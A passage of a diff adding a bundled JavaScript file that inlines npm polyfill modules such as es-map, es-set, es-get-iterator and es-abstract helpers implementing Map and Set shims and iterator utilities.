require_helpers2().addIterator; + var MapIterator = function MapIterator2(map, kind) { + requireMapSlot(map, "[[MapIterator]]"); + SLOT.set(this, "[[isMapIterator]]", true); + var head = SLOT.get(map, "[[head]]"); + SLOT.set(this, "[[i]]", head); + SLOT.set(this, "[[head]]", head); + SLOT.set(this, "[[kind]]", kind); + }; + var IteratorPrototype = GetIntrinsic("%IteratorPrototype%", true); + if (IteratorPrototype) { + MapIterator.prototype = OrdinaryObjectCreate(IteratorPrototype); + } + addIterator(MapIterator.prototype); + CreateMethodProperty( + MapIterator.prototype, + "next", + function next() { + if (!SLOT.has(this, "[[isMapIterator]]")) { + throw new TypeError("Not a MapIterator"); + } + var i = SLOT.get(this, "[[i]]"); + var kind = SLOT.get(this, "[[kind]]"); + var head = SLOT.get(this, "[[head]]"); + if (typeof i === "undefined") { + return CreateIterResultObject(void 0, true); + } + while (i.isRemoved() && i !== head) { + i = i.prev; + } + var result; + while (i.next !== head) { + i = i.next; + if (!i.isRemoved()) { + if (kind === "key") { + result = i.key; + } else if (kind === "value") { + result = i.value; + } else { + result = [i.key, i.value]; + } + SLOT.set(this, "[[i]]", i); + return CreateIterResultObject(result, false); + } + } + SLOT.set(this, "[[i]]", void 0); + return CreateIterResultObject(void 0, true); + } + ); + setToStringTag(MapIterator.prototype, "Map Iterator"); + module2.exports = MapIterator; + } +}); + +// node_modules/is-arguments/index.js +var require_is_arguments = __commonJS({ + "node_modules/is-arguments/index.js"(exports, module2) { + "use strict"; + var hasToStringTag = require_shams2()(); + var callBound = require_callBound(); + var $toString = callBound("Object.prototype.toString"); + var isStandardArguments = function isArguments(value) { + if (hasToStringTag && value && typeof value === "object" && Symbol.toStringTag in value) { + return false; + } + return $toString(value) === "[object Arguments]"; + }; + var isLegacyArguments = function isArguments(value) { + if (isStandardArguments(value)) { + return true; + } + return value !== null && typeof value === "object" && typeof value.length === "number" && value.length >= 0 && $toString(value) !== "[object Array]" && $toString(value.callee) === "[object Function]"; + }; + var supportsStandardArguments = function() { + return isStandardArguments(arguments); + }(); + isStandardArguments.isLegacyArguments = isLegacyArguments; + module2.exports = supportsStandardArguments ? isStandardArguments : isLegacyArguments; + } +}); + +// node_modules/stop-iteration-iterator/index.js +var require_stop_iteration_iterator = __commonJS({ + "node_modules/stop-iteration-iterator/index.js"(exports, module2) { + "use strict"; + var SLOT = require_internal_slot(); + var $SyntaxError = SyntaxError; + var $StopIteration = typeof StopIteration === "object" ? StopIteration : null; + module2.exports = function getStopIterationIterator(origIterator) { + if (!$StopIteration) { + throw new $SyntaxError("this environment lacks StopIteration"); + } + SLOT.set(origIterator, "[[Done]]", false); + var siIterator = { + next: function next() { + var iterator = SLOT.get(this, "[[Iterator]]"); + var done = SLOT.get(iterator, "[[Done]]"); + try { + return { + done, + value: done ? void 0 : iterator.next() + }; + } catch (e) { + SLOT.set(iterator, "[[Done]]", true); + if (e !== $StopIteration) { + throw e; + } + return { + done: true, + value: void 0 + }; + } + } + }; + SLOT.set(siIterator, "[[Iterator]]", origIterator); + return siIterator; + }; + } +}); + +// node_modules/isarray/index.js +var require_isarray = __commonJS({ + "node_modules/isarray/index.js"(exports, module2) { + var toString = {}.toString; + module2.exports = Array.isArray || function(arr) { + return toString.call(arr) == "[object Array]"; + }; + } +}); + +// node_modules/is-map/index.js +var require_is_map = __commonJS({ + "node_modules/is-map/index.js"(exports, module2) { + "use strict"; + var $Map = typeof Map === "function" && Map.prototype ? Map : null; + var $Set = typeof Set === "function" && Set.prototype ? Set : null; + var exported; + if (!$Map) { + exported = function isMap(x) { + return false; + }; + } + var $mapHas = $Map ? Map.prototype.has : null; + var $setHas = $Set ? Set.prototype.has : null; + if (!exported && !$mapHas) { + exported = function isMap(x) { + return false; + }; + } + module2.exports = exported || function isMap(x) { + if (!x || typeof x !== "object") { + return false; + } + try { + $mapHas.call(x); + if ($setHas) { + try { + $setHas.call(x); + } catch (e) { + return true; + } + } + return x instanceof $Map; + } catch (e) { + } + return false; + }; + } +}); + +// node_modules/is-set/index.js +var require_is_set = __commonJS({ + "node_modules/is-set/index.js"(exports, module2) { + "use strict"; + var $Map = typeof Map === "function" && Map.prototype ? Map : null; + var $Set = typeof Set === "function" && Set.prototype ? Set : null; + var exported; + if (!$Set) { + exported = function isSet(x) { + return false; + }; + } + var $mapHas = $Map ? Map.prototype.has : null; + var $setHas = $Set ? Set.prototype.has : null; + if (!exported && !$setHas) { + exported = function isSet(x) { + return false; + }; + } + module2.exports = exported || function isSet(x) { + if (!x || typeof x !== "object") { + return false; + } + try { + $setHas.call(x); + if ($mapHas) { + try { + $mapHas.call(x); + } catch (e) { + return true; + } + } + return x instanceof $Set; + } catch (e) { + } + return false; + }; + } +}); + +// node_modules/es-get-iterator/index.js +var require_es_get_iterator = __commonJS({ + "node_modules/es-get-iterator/index.js"(exports, module2) { + "use strict"; + var isArguments = require_is_arguments(); + var getStopIterationIterator = require_stop_iteration_iterator(); + if (require_has_symbols()() || require_shams()()) { + $iterator = Symbol.iterator; + module2.exports = function getIterator(iterable) { + if (iterable != null && typeof iterable[$iterator] !== "undefined") { + return iterable[$iterator](); + } + if (isArguments(iterable)) { + return Array.prototype[$iterator].call(iterable); + } + }; + } else { + isArray = require_isarray(); + isString = require_is_string(); + GetIntrinsic = require_get_intrinsic(); + $Map = GetIntrinsic("%Map%", true); + $Set = GetIntrinsic("%Set%", true); + callBound = require_callBound(); + $arrayPush = callBound("Array.prototype.push"); + $charCodeAt = callBound("String.prototype.charCodeAt"); + $stringSlice = callBound("String.prototype.slice"); + advanceStringIndex = function advanceStringIndex2(S, index) { + var length = S.length; + if (index + 1 >= length) { + return index + 1; + } + var first = $charCodeAt(S, index); + if (first < 55296 || first > 56319) { + return index + 1; + } + var second = $charCodeAt(S, index + 1); + if (second < 56320 || second > 57343) { + return index + 1; + } + return index + 2; + }; + getArrayIterator = function getArrayIterator2(arraylike) { + var i = 0; + return { + next: function next() { + var done = i >= arraylike.length; + var value; + if (!done) { + value = arraylike[i]; + i += 1; + } + return { + done, + value + }; + } + }; + }; + getNonCollectionIterator = function getNonCollectionIterator2(iterable, noPrimordialCollections) { + if (isArray(iterable) || isArguments(iterable)) { + return getArrayIterator(iterable); + } + if (isString(iterable)) { + var i = 0; + return { + next: function next() { + var nextIndex = advanceStringIndex(iterable, i); + var value = $stringSlice(iterable, i, nextIndex); + i = nextIndex; + return { + done: nextIndex > iterable.length, + value + }; + } + }; + } + if (noPrimordialCollections && typeof iterable["_es6-shim iterator_"] !== "undefined") { + return iterable["_es6-shim iterator_"](); + } + }; + if (!$Map && !$Set) { + module2.exports = function getIterator(iterable) { + if (iterable != null) { + return getNonCollectionIterator(iterable, true); + } + }; + } else { + isMap = require_is_map(); + isSet = require_is_set(); + $mapForEach = callBound("Map.prototype.forEach", true); + $setForEach = callBound("Set.prototype.forEach", true); + if (typeof process === "undefined" || !process.versions || !process.versions.node) { + $mapIterator = callBound("Map.prototype.iterator", true); + $setIterator = callBound("Set.prototype.iterator", true); + } + $mapAtAtIterator = callBound("Map.prototype.@@iterator", true) || callBound("Map.prototype._es6-shim iterator_", true); + $setAtAtIterator = callBound("Set.prototype.@@iterator", true) || callBound("Set.prototype._es6-shim iterator_", true); + getCollectionIterator = function getCollectionIterator2(iterable) { + if (isMap(iterable)) { + if ($mapIterator) { + return getStopIterationIterator($mapIterator(iterable)); + } + if ($mapAtAtIterator) { + return $mapAtAtIterator(iterable); + } + if ($mapForEach) { + var entries = []; + $mapForEach(iterable, function(v, k) { + $arrayPush(entries, [k, v]); + }); + return getArrayIterator(entries); + } + } + if (isSet(iterable)) { + if ($setIterator) { + return getStopIterationIterator($setIterator(iterable)); + } + if ($setAtAtIterator) { + return $setAtAtIterator(iterable); + } + if ($setForEach) { + var values = []; + $setForEach(iterable, function(v) { + $arrayPush(values, v); + }); + return getArrayIterator(values); + } + } + }; + module2.exports = function getIterator(iterable) { + return getCollectionIterator(iterable) || getNonCollectionIterator(iterable); + }; + } + } + var $iterator; + var isArray; + var isString; + var GetIntrinsic; + var $Map; + var $Set; + var callBound; + var $arrayPush; + var $charCodeAt; + var $stringSlice; + var advanceStringIndex; + var getArrayIterator; + var getNonCollectionIterator; + var isMap; + var isSet; + var $mapForEach; + var $setForEach; + var $mapIterator; + var $setIterator; + var $mapAtAtIterator; + var $setAtAtIterator; + var getCollectionIterator; + } +}); + +// node_modules/es-map/lib/map-helpers.js +var require_map_helpers = __commonJS({ + "node_modules/es-map/lib/map-helpers.js"(exports) { + "use strict"; + var Call = require_Call(); + var IsArray = require_IsArray2(); + var IsCallable = require_IsCallable(); + var IteratorClose = require_IteratorClose(); + var IteratorStep = require_IteratorStep(); + var ToString = require_ToString(); + var Type = require_Type2(); + var GetIterator = require_es_get_iterator(); + var MapIterator = require_map_iterator(); + var isMap = require_validation().isMap; + exports.fastkey = function fastkey(key) { + switch (Type(key)) { + case "String": + return "$" + key; + case "Null": + case "Undefined": + case "Boolean": + case "Number": + return ToString(key); + default: + return null; + } + }; + var forEach = function forEach2(map, fn2, context) { + var it = new MapIterator(map, "key+value"); + for (var entry = it.next(); !entry.done; entry = it.next()) { + if (typeof context === "undefined") { + fn2(entry.value[1], entry.value[0], map); + } else { + Call(fn2, context, [entry.value[1], entry.value[0], map]); + } + } + }; + exports.forEach = forEach; + exports.addIterableToMap = function addIterableToMap(map, iterable) { + if (IsArray(iterable) || typeof iterable === "string") { + for (var i = 0; i < iterable.length; i++) { + var entry = iterable[i]; + if (Type(entry) !== "Object") { + throw new TypeError("Iterator value " + entry + " is not an entry object"); + } + map.set(entry[0], entry[1]); + } + } else if (isMap(iterable)) { + forEach(iterable, function(value, key) { + map.set(key, value); + }); + } else { + var adder; + var iterRecord; + if (iterable != null) { + adder = map.set; + if (!IsCallable(adder)) { + throw new TypeError("bad map"); + } + var iter = GetIterator(iterable); + iterRecord = { + "[[Done]]": false, + "[[Iterator]]": iter, + "[[NextMethod]]": iter.next + }; + } + if (typeof iterRecord === "undefined") { + throw new TypeError("Object is not iterable"); + } + var next; + while (next = IteratorStep(iterRecord)) { + var nextItem = next.value; + try { + if (Type(nextItem) !== "Object") { + throw new TypeError("Iterator value " + nextItem + " is not an entry object"); + } + Call(adder, map, [nextItem[0], nextItem[1]]); + } catch (e) { + IteratorClose(iterRecord, true); + throw e; + } + } + } + }; + } +}); + +// node_modules/es-map/implementation.js +var require_implementation4 = __commonJS({ + "node_modules/es-map/implementation.js"(exports, module2) { + "use strict"; + var define = require_define_properties(); + var callBound = require_callBound(); + var GetIntrinsic = require_get_intrinsic(); + var SLOT = require_internal_slot(); + var SameValue = require_SameValue(); + var SameValueZero = require_SameValueZero(); + var MapEntry = require_map_entry(); + var MapIterator = require_map_iterator(); + var mapHelpers = require_map_helpers(); + var helpers = require_helpers2(); + var requireMapSlot = require_validation().requireMapSlot; + var fastkey = mapHelpers.fastkey; + var mapForEach = mapHelpers.forEach; + var addIterableToMap = mapHelpers.addIterableToMap; + var emptyObject = helpers.emptyObject; + var emulateES6construct = helpers.emulateES6construct; + var addIterator = helpers.addIterator; + var OrigMap = GetIntrinsic("%Map%", true); + var origMapDel = callBound("%Map.prototype.delete%", true); + var origMapGet = callBound("%Map.prototype.get%", true); + var origMapHas = callBound("%Map.prototype.has%", true); + var origMapSet = callBound("%Map.prototype.set%", true); + var MapShimPrototype; + var MapShim = function Map2() { + if (!(this instanceof Map2)) { + throw new TypeError('Constructor Map requires "new"'); + } + if (this && SLOT.has(this, "[[es6map]]")) { + throw new TypeError("Bad construction"); + } + var map = emulateES6construct(this, Map2, MapShimPrototype, { + "[[es6map]]": true, + "[[head]]": null, + "[[map]]": OrigMap ? new OrigMap() : null, + "[[size]]": 0, + "[[storage]]": emptyObject() + }); + var head = new MapEntry(null, null); + head.next = head; + head.prev = head; + SLOT.set(map, "[[head]]", head); + if (arguments.length > 0) { + addIterableToMap(map, arguments[0]); + } + return map; + }; + MapShimPrototype = MapShim.prototype; + if (define.supportsDescriptors) { + Object.defineProperty(MapShimPrototype, "size", { + configurable: true, + enumerable: false, + get: function() { + requireMapSlot(this, "size"); + return SLOT.get(this, "[[size]]"); + } + }); + } + define(MapShimPrototype, { + get: function get(key) { + requireMapSlot(this, "get"); + var entry; + var fkey = fastkey(key, true); + if (fkey !== null) { + entry = SLOT.get(this, "[[storage]]")[fkey]; + if (entry) { + return entry.value; + } + return void 0; + } + var map = SLOT.get(this, "[[map]]"); + if (map) { + entry = origMapGet(map, key); + if (entry) { + return entry.value; + } + return void 0; + } + var head = SLOT.get(this, "[[head]]"); + var i = head; + while ((i = i.next) !== head) { + if (SameValueZero(i.key, key)) { + return i.value; + } + } + return void 0; + }, + has: function has(key) { + requireMapSlot(this, "has"); + var fkey = fastkey(key, true); + var storage = SLOT.get(this, "[[storage]]"); + if (fkey !== null) { + return typeof storage[fkey] !== "undefined"; + } + var map = SLOT.get(this, "[[map]]"); + if (map) { + return origMapHas(map, key); + } + var head = SLOT.get(this, "[[head]]"); + var i = head; + while ((i = i.next) !== head) { + if (SameValueZero(i.key, key)) { + return true; + } + } + return false; + }, + set: function set(key, value) { + requireMapSlot(this, "set"); + var head = SLOT.get(this, "[[head]]"); + var i = head; + var entry; + var fkey = fastkey(key, true); + if (fkey !== null) { + var storage = SLOT.get(this, "[[storage]]"); + if (typeof storage[fkey] === "undefined") { + entry = new MapEntry(key, value); + storage[fkey] = entry; + i = head.prev; + } else { + storage[fkey].value = value; + return this; + } + } else { + var map = SLOT.get(this, "[[map]]"); + if (map) { + if (origMapHas(map, key)) { + origMapGet(map, key).value = value; + } else { + entry = new MapEntry(key, value); + origMapSet(map, key, entry); + i = head.prev; + } + } + } + while ((i = i.next) !== head) { + if (SameValueZero(i.key, key)) { + i.value = value; + return this; + } + } + entry = entry || new MapEntry(key, value); + if (SameValue(-0, key)) { + entry.key = 0; + } + entry.next = head; + entry.prev = head.prev; + entry.prev.next = entry; + entry.next.prev = entry; + SLOT.set(this, "[[size]]", SLOT.get(this, "[[size]]") + 1); + return this; + }, + "delete": function(key) { + requireMapSlot(this, "delete"); + var head = SLOT.get(this, "[[head]]"); + var i = head; + var fkey = fastkey(key, true); + if (fkey !== null) { + var storage = SLOT.get(this, "[[storage]]"); + if (typeof storage[fkey] === "undefined") { + return false; + } + i = storage[fkey].prev; + delete storage[fkey]; + } else { + var map = SLOT.get(this, "[[map]]"); + if (map) { + if (!origMapHas(map, key)) { + return false; + } + i = origMapGet(map, key).prev; + origMapDel(map, key); + } + } + while ((i = i.next) !== head) { + if (SameValueZero(i.key, key)) { + i.key = MapEntry.empty; + i.value = MapEntry.empty; + i.prev.next = i.next; + i.next.prev = i.prev; + SLOT.set(this, "[[size]]", SLOT.get(this, "[[size]]") - 1); + return true; + } + } + return false; + }, + clear: function clear() { + requireMapSlot(this, "clear"); + SLOT.set(this, "[[map]]", OrigMap ? new OrigMap() : null); + SLOT.set(this, "[[size]]", 0); + SLOT.set(this, "[[storage]]", emptyObject()); + var head = SLOT.get(this, "[[head]]"); + var i = head; + var p = i.next; + while ((i = p) !== head) { + i.key = MapEntry.empty; + i.value = MapEntry.empty; + p = i.next; + i.next = head; + i.prev = head; + } + head.next = head; + head.prev = head; + }, + keys: function keys() { + requireMapSlot(this, "keys"); + return new MapIterator(this, "key"); + }, + values: function values() { + requireMapSlot(this, "values"); + return new MapIterator(this, "value"); + }, + entries: function entries() { + requireMapSlot(this, "entries"); + return new MapIterator(this, "key+value"); + }, + forEach: function forEach(fn2) { + requireMapSlot(this, "forEach"); + mapForEach(this, fn2, arguments.length > 1 ? arguments[1] : void 0); + } + }); + addIterator(MapShimPrototype, MapShimPrototype.entries); + module2.exports = MapShim; + } +}); + +// node_modules/es-set/lib/validation.js +var require_validation2 = __commonJS({ + "node_modules/es-set/lib/validation.js"(exports) { + "use strict"; + var SLOT = require_internal_slot(); + var ToString = require_ToString(); + var Type = require_Type2(); + var isSet = function isSet2(set) { + return SLOT.has(set, "[[es6set]]"); + }; + exports.isSet = isSet; + exports.requireSetSlot = function requireSetSlot(set, method) { + if (Type(set) !== "Object" || !isSet(set)) { + throw new TypeError("Method Set.prototype." + method + " called on incompatible receiver " + ToString(set)); + } + }; + } +}); + +// node_modules/es-set/lib/set-helpers.js +var require_set_helpers = __commonJS({ + "node_modules/es-set/lib/set-helpers.js"(exports) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var callBound = require_callBound(); + var callBind = require_call_bind(); + var SLOT = require_internal_slot(); + var Call = require_Call(); + var GetIterator = require_GetIterator(); + var IsArray = require_IsArray2(); + var IsCallable = require_IsCallable(); + var IteratorClose = require_IteratorClose(); + var IteratorStep = require_IteratorStep(); + var ToString = require_ToString(); + var Type = require_Type2(); + var MapShim = require_implementation4(); + var $mapForEach = callBind(MapShim.prototype.forEach); + var $slice = callBound("%String.prototype.slice%"); + var $Number = GetIntrinsic("%Number%"); + var isSet = require_validation2().isSet; + var SET_ITEM = {}; + exports.SET_ITEM = SET_ITEM; + exports.fastkey = function fastkey(key) { + switch (Type(key)) { + case "String": + return "$" + key; + case "Null": + case "Undefined": + case "Boolean": + return ToString(key); + case "Number": + return "n" + key; + default: + return null; + } + }; + var decodeKey = function decodeKey2(k) { + if (k === "null") { + return null; + } else if (k === "undefined") { + return void 0; + } else if (k === "true") { + return true; + } else if (k === "false") { + return false; + } else if (k[0] === "$") { + return $slice(k, 1); + } + return $Number($slice(k, 1)); + }; + var iterateStorage = function iterateStorage2(storage, fn2) { + for (var fkey in storage) { + if (storage[fkey] === SET_ITEM) { + fn2(fkey); + } + } + }; + exports.iterateStorage = iterateStorage; + var ensureSet = function ensureSet2(set) { + if (!SLOT.get(set, "[[setData]]")) { + var m = new MapShim(); + iterateStorage(SLOT.get(set, "[[storage]]"), function(fkey) { + var k = decodeKey(fkey); + m.set(k, k); + }); + SLOT.set(set, "[[setData]]", m); + } + SLOT.set(set, "[[storage]]", null); + }; + exports.ensureSet = ensureSet; + var forEach = function forEach2(set, fn2, context) { + ensureSet(set); + $mapForEach(SLOT.get(set, "[[setData]]"), function(value, key) { + if (typeof context === "undefined") { + fn2(key, key, set); + } else { + Call(fn2, context, [key, key, set]); + } + }); + }; + exports.forEach = forEach; + exports.addIterableToSet = function addIterableToSet(set, iterable) { + if (IsArray(iterable) || Type(iterable) === "String") { + for (var i = 0; i < iterable.length; i++) { + set.add(iterable[i]); + } + } else if (isSet(iterable)) { + forEach(iterable, function(value) { + set.add(value); + }); + } else { + var iter, adder; + if (Type(iterable) !== "Null" && Type(iterable) !== "Undefined") { + adder = set.add; + if (!IsCallable(adder)) { + throw new TypeError("bad set"); + } + iter = GetIterator(iterable, "sync"); + } + if (typeof iter === "undefined") { + throw new TypeError("Object is not iterable"); + } + var next; + while (next = IteratorStep(iter)) { + try { + Call(adder, set, [next.value]); + } catch (e) { + IteratorClose(iter, true); + throw e; + } + } + } + }; + } +}); + +// node_modules/es-set/implementation.js +var require_implementation5 = __commonJS({ + "node_modules/es-set/implementation.js"(exports, module2) { + "use strict"; + var define = require_define_properties(); + var SLOT = require_internal_slot(); + var setProto = require_setProto(); + var SetIterator = require_set_iterator(); + var setHelpers = require_set_helpers(); + var helpers = require_helpers(); + var requireSetSlot = require_validation2().requireSetSlot; + var fastkey = setHelpers.fastkey; + var setForEach = setHelpers.forEach; + var addIterableToSet = setHelpers.addIterableToSet; + var SET_ITEM = setHelpers.SET_ITEM; + var ensureSet = setHelpers.ensureSet; + var iterateStorage = setHelpers.iterateStorage; + var emptyObject = helpers.emptyObject; + var emulateES6construct = helpers.emulateES6construct; + var addIterator = helpers.addIterator; + var SetShimPrototype; + var SetShim = function Set2() { + if (!(this instanceof Set2)) { + throw new TypeError('Constructor Set requires "new"'); + } + if (this && SLOT.has(this, "[[es6set]]")) { + throw new TypeError("Bad construction"); + } + var set = emulateES6construct(this, Set2, SetShimPrototype, { + "[[es6set]]": true, + "[[setData]]": null, + "[[storage]]": emptyObject() + }); + if (!SLOT.has(set, "[[es6set]]")) { + throw new TypeError("bad set"); + } + if (arguments.length > 0) { + addIterableToSet(set, arguments[0]); + } + return set; + }; + SetShimPrototype = SetShim.prototype; + if (define.supportsDescriptors) { + Object.defineProperty(SetShimPrototype, "size", { + configurable: true, + enumerable: false, + get: function() { + requireSetSlot(this, "size"); + var storage = SLOT.get(this, "[[storage]]"); + if (storage) { + var size = 0; + iterateStorage(storage, function() { + size += 1; + }); + return size; + } + ensureSet(this); + return SLOT.get(this, "[[setData]]").size; + } + }); + } + define(SetShimPrototype, { + add: function add(key) { + requireSetSlot(this, "has"); + var fkey; + var storage = SLOT.get(this, "[[storage]]"); + if (storage && (fkey = fastkey(key)) !== null) { + if (storage[fkey] !== SET_ITEM) { + storage[fkey] = SET_ITEM; + } + } else { + ensureSet(this); + SLOT.get(this, "[[setData]]").set(key, key); + } + return this; + }, + has: function has(key) { + requireSetSlot(this, "has"); + var fkey; + var storage = SLOT.get(this, "[[storage]]"); + if (storage && (fkey = fastkey(key)) !== null) { + return !!storage[fkey]; + } + ensureSet(this); + return SLOT.get(this, "[[setData]]").has(key); + }, + "delete": function(key) { + requireSetSlot(this, "delete"); + var fkey; + var storage = SLOT.get(this, "[[storage]]"); + if (storage && (fkey = fastkey(key)) !== null) { + var hasFKey = !!storage[fkey]; + if (hasFKey) { + delete storage[fkey]; + } + return hasFKey; + } + ensureSet(this); + return SLOT.get(this, "[[setData]]")["delete"](key); + }, + clear: function clear() { + requireSetSlot(this, "clear"); + var storage = SLOT.get(this, "[[storage]]"); + if (storage) { + SLOT.set(this, "[[storage]]", emptyObject()); + } + var setData = SLOT.get(this, "[[setData]]"); + if (setData) { + setData.clear(); + } + }, + values: function values() { + requireSetSlot(this, "values"); + ensureSet(this); + return new SetIterator(SLOT.get(this, "[[setData]]").values()); + }, + entries: function entries() { + requireSetSlot(this, "entries"); + ensureSet(this); + return new SetIterator(SLOT.get(this, "[[setData]]").entries()); + }, + forEach: function forEach(fn2) { + requireSetSlot(this, "forEach"); + setForEach(this, fn2, arguments.length > 1 ? arguments[1] : void 0); + } + }); + define(SetShimPrototype, { keys: SetShimPrototype.values }); + addIterator(SetShimPrototype, SetShimPrototype.values); + if (typeof Set === "function" && setProto) { + setProto(SetShimPrototype, Set.prototype); + } + module2.exports = SetShim; + } +}); + +// node_modules/functions-have-names/index.js +var require_functions_have_names = __commonJS({ + "node_modules/functions-have-names/index.js"(exports, module2) { + "use strict"; + var functionsHaveNames = function functionsHaveNames2() { + return typeof function f() { + }.name === "string"; + }; + var gOPD = Object.getOwnPropertyDescriptor; + if (gOPD) { + try { + gOPD([], "length"); + } catch (e) { + gOPD = null; + } + } + functionsHaveNames.functionsHaveConfigurableNames = function functionsHaveConfigurableNames() { + if (!functionsHaveNames() || !gOPD) { + return false; + } + var desc = gOPD(function() { + }, "name"); + return !!desc && !!desc.configurable; + }; + var $bind = Function.prototype.bind; + functionsHaveNames.boundFunctionsHaveNames = function boundFunctionsHaveNames() { + return functionsHaveNames() && typeof $bind === "function" && function f() { + }.bind().name !== ""; + }; + module2.exports = functionsHaveNames; + } +}); + +// node_modules/es-set/lib/support.js +var require_support = __commonJS({ + "node_modules/es-set/lib/support.js"(exports) { + "use strict"; + var functionsHaveNames = require_functions_have_names(); + var valueOrFalseIfThrows = function(cb) { + return function() { + try { + return cb(); + } catch (_) { + return false; + } + }; + }; + exports.isGoogleTranslate = function() { + return !!Set.prototype["delete"] && Set.prototype.remove && Set.prototype.items && Set.prototype.map && Array.isArray((/* @__PURE__ */ new Set()).keys); + }; + exports.setUsesSameValueZero = function() { + if (!Set.prototype["delete"] || !Set.prototype.add || !Set.prototype.has) { + return false; + } + var s = /* @__PURE__ */ new Set([1, 2, 3, 4]); + s["delete"](0); + s.add(-0); + if (!s.has(0)) { + return false; + } + s = /* @__PURE__ */ new Set([1, 2, 3, 4]); + s["delete"](-0); + s.add(0); + return s.has(-0); + }; + exports.setSupportsChaining = function() { + var testSet = /* @__PURE__ */ new Set(); + return testSet.add(1) === testSet; + }; + var setSupportsSubclassing = valueOrFalseIfThrows(function() { + if (!Object.setPrototypeOf) { + return true; + } + var Sub = function Subclass(arg) { + var o = new Set(arg); + Object.setPrototypeOf(o, Subclass.prototype); + return o; + }; + Object.setPrototypeOf(Sub, Set); + Object.setPrototypeOf(Sub.prototype, Set.prototype); + var s = new Sub([]); + s.add(1, 2); + return s instanceof Sub; + }); + var setRequiresNew = function() { + try { + return !(Set() instanceof Set); + } catch (e) { + return e instanceof TypeError; + } + }; + exports.setCompliantConstructor = function() { + return Set.length === 0 && setSupportsSubclassing() && setRequiresNew(); + }; + exports.setKeysIsValues = function() { + return Set.prototype.keys === Set.prototype.values; + }; + exports.setHasCorrectName = function() { + if (!functionsHaveNames) { + return true; + } + return Set.prototype.has.name === "has"; + }; + exports.setHasOldFirefoxInterface = function() { + return (/* @__PURE__ */ new Set()).size !== 0 || typeof Set.prototype.values !== "function" || typeof Set.prototype.forEach !== "function"; + }; + } +}); + +// node_modules/es-set/polyfill.js +var require_polyfill2 = __commonJS({ + "node_modules/es-set/polyfill.js"(exports, module2) { + "use strict"; + var OrdinarySetPrototypeOf = require_OrdinarySetPrototypeOf(); + var define = require_define_properties(); + var SLOT = require_internal_slot(); + var implementation = require_implementation5(); + var addIterableToSet = require_set_helpers().addIterableToSet; + var support = require_support(); + var SetShim; + module2.exports = function getPolyfill() { + if (typeof Set === "function" && !support.setCompliantConstructor()) { + var OrigSet = Set; + if (!SetShim || !(OrigSet === SetShim || SLOT.get(SetShim, "[[OrigSet]]") === OrigSet)) { + var OrigSet$prototype = OrigSet.prototype; + SetShim = function Set2() { + if (!(this instanceof SetShim)) { + throw new TypeError('Constructor Set requires "new"'); + } + if (this && SLOT.has(this, "[[SetCompliantConstructorShim]]")) { + throw new TypeError("Bad construction"); + } + var s = new OrigSet(); + SLOT.set(s, "[[SetCompliantConstructorShim]]", true); + if (arguments.length > 0) { + addIterableToSet(s, arguments[0]); + } + delete s.constructor; + OrdinarySetPrototypeOf(s, SetShim.prototype); + return s; + }; + SLOT.set(SetShim, "[[OrigSet]]", Set); + SetShim.prototype = OrigSet$prototype; + define( + SetShim.prototype, + { constructor: SetShim }, + { constructor: function() { + return true; + } } + ); + } + return SetShim; + } + if (typeof Set !== "function" || support.isGoogleTranslate() || support.setHasOldFirefoxInterface() || !support.setHasCorrectName() || !support.setKeysIsValues() || !support.setSupportsChaining() || !support.setUsesSameValueZero()) { + return implementation; + } + return Set; + }; + } +}); + +// node_modules/es-abstract/2024/IsArray.js +var require_IsArray3 = __commonJS({ + "node_modules/es-abstract/2024/IsArray.js"(exports, module2) { + "use strict"; + module2.exports = require_IsArray(); + } +}); + +// node_modules/es-abstract/2024/Call.js +var require_Call2 = __commonJS({ + "node_modules/es-abstract/2024/Call.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var callBound = require_callBound(); + var $TypeError = require_type(); + var IsArray = require_IsArray3(); + var $apply = GetIntrinsic("%Reflect.apply%", true) || callBound("Function.prototype.apply"); + module2.exports = function Call(F, V) { + var argumentsList = arguments.length > 2 ? arguments[2] : []; + if (!IsArray(argumentsList)) { + throw new $TypeError("Assertion failed: optional `argumentsList`, if provided, must be a List"); + } + return $apply(F, V, argumentsList); + }; + } +}); + +// node_modules/es-abstract/2024/IsPropertyKey.js +var require_IsPropertyKey2 = __commonJS({ + "node_modules/es-abstract/2024/IsPropertyKey.js"(exports, module2) { + "use strict"; + module2.exports = function IsPropertyKey(argument) { + return typeof argument === "string" || typeof argument === "symbol"; + }; + } +}); + +// node_modules/es-abstract/2024/Type.js +var require_Type3 = __commonJS({ + "node_modules/es-abstract/2024/Type.js"(exports, module2) { + "use strict"; + var ES5Type = require_Type(); + module2.exports = function Type(x) { + if (typeof x === "symbol") { + return "Symbol"; + } + if (typeof x === "bigint") { + return "BigInt"; + } + return ES5Type(x); + }; + } +}); + +// node_modules/es-abstract/2024/Get.js +var require_Get2 = __commonJS({ + "node_modules/es-abstract/2024/Get.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var inspect = require_object_inspect(); + var IsPropertyKey = require_IsPropertyKey2(); + var Type = require_Type3(); + module2.exports = function Get(O, P) { + if (Type(O) !== "Object") { + throw new $TypeError("Assertion failed: Type(O) is not Object"); + } + if (!IsPropertyKey(P)) { + throw new $TypeError("Assertion failed: IsPropertyKey(P) is not true, got " + inspect(P)); + } + return O[P]; + }; + } +}); + +// node_modules/es-abstract/2024/IsCallable.js +var require_IsCallable2 = __commonJS({ + "node_modules/es-abstract/2024/IsCallable.js"(exports, module2) { + "use strict"; + module2.exports = require_is_callable(); + } +}); + +// node_modules/es-abstract/2024/GetIteratorFromMethod.js +var require_GetIteratorFromMethod2 = __commonJS({ + "node_modules/es-abstract/2024/GetIteratorFromMethod.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Call = require_Call2(); + var Get = require_Get2(); + var IsCallable = require_IsCallable2(); + var Type = require_Type3(); + module2.exports = function GetIteratorFromMethod(obj, method) { + if (!IsCallable(method)) { + throw new $TypeError("method must be a function"); + } + var iterator = Call(method, obj); + if (Type(iterator) !== "Object") { + throw new $TypeError("iterator must return an object"); + } + var nextMethod = Get(iterator, "next"); + return { + // steps 4-5 + "[[Iterator]]": iterator, + "[[NextMethod]]": nextMethod, + "[[Done]]": false + }; + }; + } +}); + +// node_modules/es-abstract/helpers/isPrimitive.js +var require_isPrimitive = __commonJS({ + "node_modules/es-abstract/helpers/isPrimitive.js"(exports, module2) { + "use strict"; + module2.exports = function isPrimitive(value) { + return value === null || typeof value !== "function" && typeof value !== "object"; + }; + } +}); + +// 